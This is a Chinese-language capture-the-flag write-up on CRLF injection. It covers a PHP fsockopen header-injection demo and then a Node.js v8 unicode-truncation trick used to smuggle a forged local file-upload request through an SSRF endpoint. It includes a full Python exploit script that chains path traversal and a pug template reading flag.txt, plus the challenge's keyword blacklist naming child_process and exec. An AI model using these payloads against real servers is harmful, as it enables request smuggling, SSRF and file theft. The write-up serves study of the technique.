这几天刷题遇到在node.js题目中注入CRLF实现ssrf的题目,对于我来说知识听新颖。在此记录一下。
学习过http请求走私漏洞的师傅对于这个CRLF肯定不会陌生。所谓的CRLF就是回车加换行。常用于http数据包。字段之间用一个CRLF分割,首部和主题之间由两个CRLF分割。如果说我们能够控制http数据包中莫一个首部字段,况且web应用没有对用户的输入做严格的过滤,我们就可以向数据包注入一些CRLF,同时添加修改我们想要的字段以及字段值,比如cookie等。在此就用php的fsockopen函数测试一下。
测试代码:
- highlight_file(__FILE__);
- $host=$_GET['url'];
- $fp = fsockopen($host, 80, $errno, $errstr, 30);
- if (!$fp) {
- echo "$errstr ($errno)
\n"; - } else {
- $out = "GET / HTTP/1.1\r\n";
- $out .= "Host: $host\r\n";
- $out .= "Connection: Close\r\n\r\n";
- fwrite($fp, $out);
- while (!feof($fp)) {
- echo fgets($fp, 128);
- }
- fclose($fp);
- }
- ?>
url输入1.116.160.155:2400,同时我们在服务器监听2400端口。最后得到回显。
看这个简单的数据包,我们能够控制host头,那么我们就在host注入,添加cookie,url输入
?url=1.116.160.155:2400%0d%0aCookie:PHPSESSID=admin
得到回显,
在http规范中,CRLF是一行的结束,当检测到%0d%0a,就会 转到下一行,我们添加的cookie字段就默认添加在Host字段下面了。成功在数据包中添加了cookie字段。这样我们就成功修改数据头部。
这篇文章主要说明node.js中CRLF的注入。但是上文讲解的直接添加CRLF在这里是不奏效的,node.js中的http库会检测用户如果含有回车换行会直接报错。但是,node.js对http请求写入路径时,对unicode字符的有损编码可能会引起CRLF注入。
什么意思呢?虽然我们发出的请求路径指定为字符串,但是node.js会将请求作为原始字节输出。也就意味着我们需要对请求unicode编码。而js也是默认支持unicode字符串的。node.js默认使用“latin1”编码,这是一种单字节字符集,不能表示高编码unicode字符串。比如说\u0130就会被截断为\u30。
但看字符损坏没有什么用处,如果我们传入\u010D\u010A,截断之后就变成了\u0D\u0A,就变成了CRLF,那么我们就可以利用这个漏洞向数据包注入恶意的CRLF。
这个unicode字符损坏漏洞只适用于node.js v8以及更低的版本。在10版本中如果遇到非ascii码就会抛出错误。看一个题目感受一下。
打开题目:
这里有两个功能,一个是文件上传,只能admin才能上传文件。另一个功能是获取源代码。看一下node.js代码:
- var express = require('express');
- var app = express();
- var fs = require('fs');
- var path = require('path');
- var http = require('http');
- var pug = require('pug');
- var morgan = require('morgan'); // morgan是express默认的日志中间件
- const multer = require('multer');
- app.use(multer({dest: './dist'}).array('file'));
- app.use(morgan('short'));
- app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
- app.use("/template",express.static(path.join(__dirname, '/template')))
- app.get('/', function(req, res) {
- var action = req.query.action?req.query.action:"index";
- if( action.includes("/") || action.includes("\\") ){//检测action是否有/和\\
- res.send("Errrrr, You have been Blocked");
- }
- file = path.join(__dirname + '/template/'+ action +'.pug');
- var html = pug.renderFile(file);
- res.send(html);
- });
- app.post('/file_upload', function(req, res){
- var ip = req.connection.remoteAddress;
- var obj = {
- msg: '',
- }
- if (!ip.includes('127.0.0.1')) {
- obj.msg="only admin's ip can use it"
- res.send(JSON.stringify(obj));
- return
- }
- fs.readFile(req.files[0].path, function(err, data){
- if(err){
- obj.msg = 'upload failed';
- res.send(JSON.stringify(obj));
- }else{
- var file_path = '/uploads/' + req.files[0].mimetype +"/";
- var file_name = req.files[0].originalname
- var dir_file = __dirname + file_path + file_name
- if(!fs.existsSync(__dirname + file_path)){// 以同步的方法检测目录是否存在
- try {
- fs.mkdirSync(__dirname + file_path)// 如果目录不存在则创建目录
- } catch (error) {
- obj.msg = "file type error";
- res.send(JSON.stringify(obj));
- return
- }
- }
- try {
- fs.writeFileSync(dir_file,data)
- obj = {
- msg: 'upload success',
- filename: file_path + file_name
- }
- } catch (error) {
- obj.msg = 'upload failed';
- }
- res.send(JSON.stringify(obj));
- }
- })
- })
- app.get('/source', function(req, res) {
- res.sendFile(path.join(__dirname + '/template/source.txt'));
- });
- app.get('/core', function(req, res) {
- var q = req.query.q;
- var resp = "";
- if (q) {
- var url = 'http://localhost:8081/source?' + q
- console.log(url)
- var trigger = blacklist(url);
- if (trigger === true) {
- res.send("
error occurs!
"); - } else {
- try {
- http.get(url, function(resp) {
- resp.setEncoding('utf8');
- resp.on('error', function(err) {
- if (err.code === "ECONNRESET") {
- console.log("Timeout occurs");
- return;
- }
- });
- resp.on('data', function(chunk) {
- try {
- resps = chunk.toString();
- res.send(resps);
- }catch (e) {
- res.send(e.message);
- }
-
- }).on('error', (e) => {
- res.send(e.message);});
- });
- } catch (error) {
- console.log(error);
- }
- }
- } else {
- res.send("search param 'q' missing!");
- }
- })
- function blacklist(url) {
- var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
- var arrayLen = evilwords.length;
- for (var i = 0; i < arrayLen; i++) {
- const trigger = url.includes(evilwords[i]);
- if (trigger === true) {
- return true
- }
- }
- }
- var server = app.listen(8081, function() {
- var host = server.address().address
- var port = server.address().port
- console.log("Example app listening at http://%s:%s", host, port)
- })
源代码一共有四个路由,分别说明一下:
'/'路由,我们能够包含一个pug模板文件,并且将其渲染,返回给我们客户端。
'/file_upload'路由,上传文件,但是限制上传者的ip为127.0.0.1,将文件上传到upload/目录下,但是通过这段代码:
var file_path = '/uploads/' + req.files[0].mimetype +"/";
我们可以控制mimetype的值,利用目录穿越让文件下载到我们指定的目录中去。
'/source'路由,显示源码。
'/core'路由,通过参数q向内网的8081端口传参。获取到数据并且返回给客户端。对url有黑名单的限制。
从刚才的路由分析,我们可以看出/core是存在ssrf漏洞的。可以上传一个含有flag文件路径的pug模板文件,控制mimetype将文件下载到/template目录下。以便在/路由对我们上传的pug模板文件进行包含。目前最大的难题就是如何伪造本地上传。那么我们就通过/core路由伪造上传包来上传我们的pug文件。
通过上传功能抓取到上传的post数据包。
对数据包进行删除cookie,修改host,origin,referer字段为本机地址。将Content-Type改为 ../template,以便目录穿越。利用node.js对高编码字符截断漏洞向http数据包注入CRLF,来伪造一个本地上传数据包。引用大佬脚本:
- import urllib.parse
- import requests
-
- payload = ''' HTTP/1.1
- POST /file_upload HTTP/1.1
- Host: 127.0.0.1:8081
- Content-Length: 266
- Cache-Control: max-age=0
- Upgrade-Insecure-Requests: 1
- Origin: http://127.0.0.1:8081
- Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryG01qmiZ5h6Ap0QSc
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.72 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- Referer: http://127.0.0.1:8081/?action=upload
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Connection: close
- ------WebKitFormBoundaryG01qmiZ5h6Ap0QSc
- Content-Disposition: form-data; name="file"; filename="shell.pug"
- Content-Type: ../template
- doctype html
- html
- head
- style
- include ../../../../../../../flag.txt
- ------WebKitFormBoundaryG01qmiZ5h6Ap0QSc--
- GET / HTTP/1.1
- test:'''.replace("\n", "\r\n")
-
-
- def payload_encode(raw):
- ret = u""
- for i in raw:
- ret += chr(0x0100 + ord(i)) # 为回车换行添加高编码unicode字符
- return ret
-
-
- payload = payload_encode(payload)
- print(payload)
-
- r = requests.get('http://31c97aff-75cd-40bb-8bcb-b71fbaadc74a.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
- print(r.text)
上传pug文件后在根目录下访问?action=shell,在源代码中找到flag。
注意数据包中Content-Length字段一定要有,并且长度一定得正确。
关于pug模板的相关内容可参考一下链接: